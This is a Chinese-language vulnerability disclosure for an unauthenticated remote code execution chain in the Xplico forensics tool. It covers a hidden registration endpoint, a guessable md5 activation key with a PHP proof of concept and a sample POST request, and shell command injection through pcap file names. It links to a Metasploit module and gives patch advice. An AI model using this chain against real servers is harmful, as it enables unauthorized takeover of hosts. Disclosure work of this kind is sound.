著名Linux开源网络取证工具Xplico可以捕获Internet网络应用层流量,通过流量解析,解析出网络包中的各种应用数据。例如,可以从Pcap文件包中解析出IP流量数据,也可以从POP、IMAP和SMTP协议中解析出邮件HTTP内容以及VOIP应用等。近期,我们团队发现了Xplico的一个远程未授权RCE漏洞。
漏洞信息
远程利用: 是
授权需要: 否
漏洞影响:Xplico
CVSSv3漏洞评分: 9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U)
发现日期:2017.10.31
技术分析
本质上讲,我们发现了Xplico的3个漏洞,综合利用这3个漏洞最终可导致严重的无需授权远程代码执行漏洞(RCE)。
漏洞1:隐藏的用户注册功能
在Xplico系统中存在一个隐藏的用户注册接口,任何人都可以通过接口http://<ip_address>:9876/users/register注册新用户:
漏洞2:激活码生成中使用了弱随机化算法
一旦用户通过上述用户注册功能进行注册,该用户会接收到一封激活邮件,需要通过该邮件进行帐户激活,以下是该过程涉及的主要代码:
if ($this->Group->save($this->request->data)) {
$this->request->data['User']['password'] = md5($this->request->data['User']['password']);
$this->request->data['User']['em_key'] = md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());
$gid = $this->Group->getID();
$this->request->data['User']['group_id'] = $gid;
$this->User->create();
if ($this->User->save($this->request->data)) {
if (1) {
// send email to confirm registration
mail($this->request->data['User']['email'], "Xplico - Account Activation Request",
"To confirm click the link below\n http://demo.xplico.org/users/registerConfirm/".$this->request->data['User']['em_key']."\n",
"From: register@xplico.org");
$this->Session->setFlash(__('To complete registration wait the email'));
}
else {
$this->Session->setFlash(__('Registration Completed'));
$this->User->saveField('em_checked', 1);
}
$this->redirect('/users/index');
}
else {
$this->Group->delete($gid);
$this->Session->setFlash(__('There was a problem saving this information'));
}
}
发给用户的激活邮件中包含了激活码,而激活码则存储在数据库的em_key区域。
不幸的是,这封激活邮件很可能就到不了用户的注册邮箱中,而且还有一个简单的方法可以计算出em_key中的激活码值。
md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());
仔细看以上md5对em_key值的调用过程,我们来分析分析:
$this->request->data['User']['email'],这段代码是用户注册时的给定邮箱地址输入,看你想预留的邮箱是什么就输入什么,当然是已知的了;
$this->request->data['User']['password'],这段代码则是户注册时的给定账户密码,看你想预留的密码是什么就输入什么,也是已知的;
time():该函数会已unix时间格式返回当前时间,但不包含毫秒,所以一旦我们收到来自服务器的http响应,我们可以查看其数据头并计算出确切的时间值,然后只要在1秒内完成执行就能有效。
这就是一个用户注册时产生的POST请求,其中包含了需要用户填写的注册邮箱和注册密码值:
POST /users/register HTTP/1.1
Host: 12.0.0.41:9876
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Upgrade-Insecure-Requests: 1
_method=POST&data[_Token][key]=a84ad2730fdd215f7795a2cf14feb8c2788c6ff5d2d1d8e839736cb4626ce48c1b63ee6c798cd1a6de15f88314dd39f2a1fdf10cbf412c37eda882dfb0120c97&data[User][email]=hacker@hacker.com&data[User][username]=hacker&data[User][password]=123456&data[_Token][fields]=57a700573f4839c45778a5dee8b04184f40c6481:&data[_Token][unlocked]=
而以下则是注册后的Xplico系统端响应,它会跳转到用户登录界面,如果当前这种响应-登录动作可在1秒内完成,在em_key的生成过程中,其time()时间值都是一样的,也就对应最终的激活码一样。
HTTP/1.1 302 Found
Date: Tue, 31 Oct 2017 08:33:01 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; include Subdomains;
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Location: http://12.0.0.41:9876/users/index
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
以下是依照上述我们分析的思路,总结的一个计算em_key生成的PoC:
<?php
$email = "hacker@hacker.com";
$password = "123456";
$token = md5($email.md5($password).strtotime("Tue, 31 Oct 2017 08:33:01 GMT"));
echo $token;
漏洞3:认证命令注入
由于Xplico具备PCAP流量包解析功能,所以可以通过以下界面模块上传pcap文件,该模块受密码保护。
一旦pcap文件上传后,将会执行以下系统命令:
sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt
命令中的pcap文件名[NAME_OF_PCAP_FILE]直接取自用户输入,但在文件名输入中使用$()或“技巧后,就可间接执行我们自己设置的操作系统命令。
Exploit
https://github.com/rapid7/metasploit-framework/pull/9206/files
Metasploit反弹控制实验
缓解更新
目前,由于Xplico可集成在Security Onion、Ubuntu、VirtualBox等多种网络分析取证产品中,而受该漏洞影响,经我们与Xplico软件开发维护商取得联系后,Xplico方面已经发布了更新版本的1.2.1,请受影响用户及时下载更新。
文章评论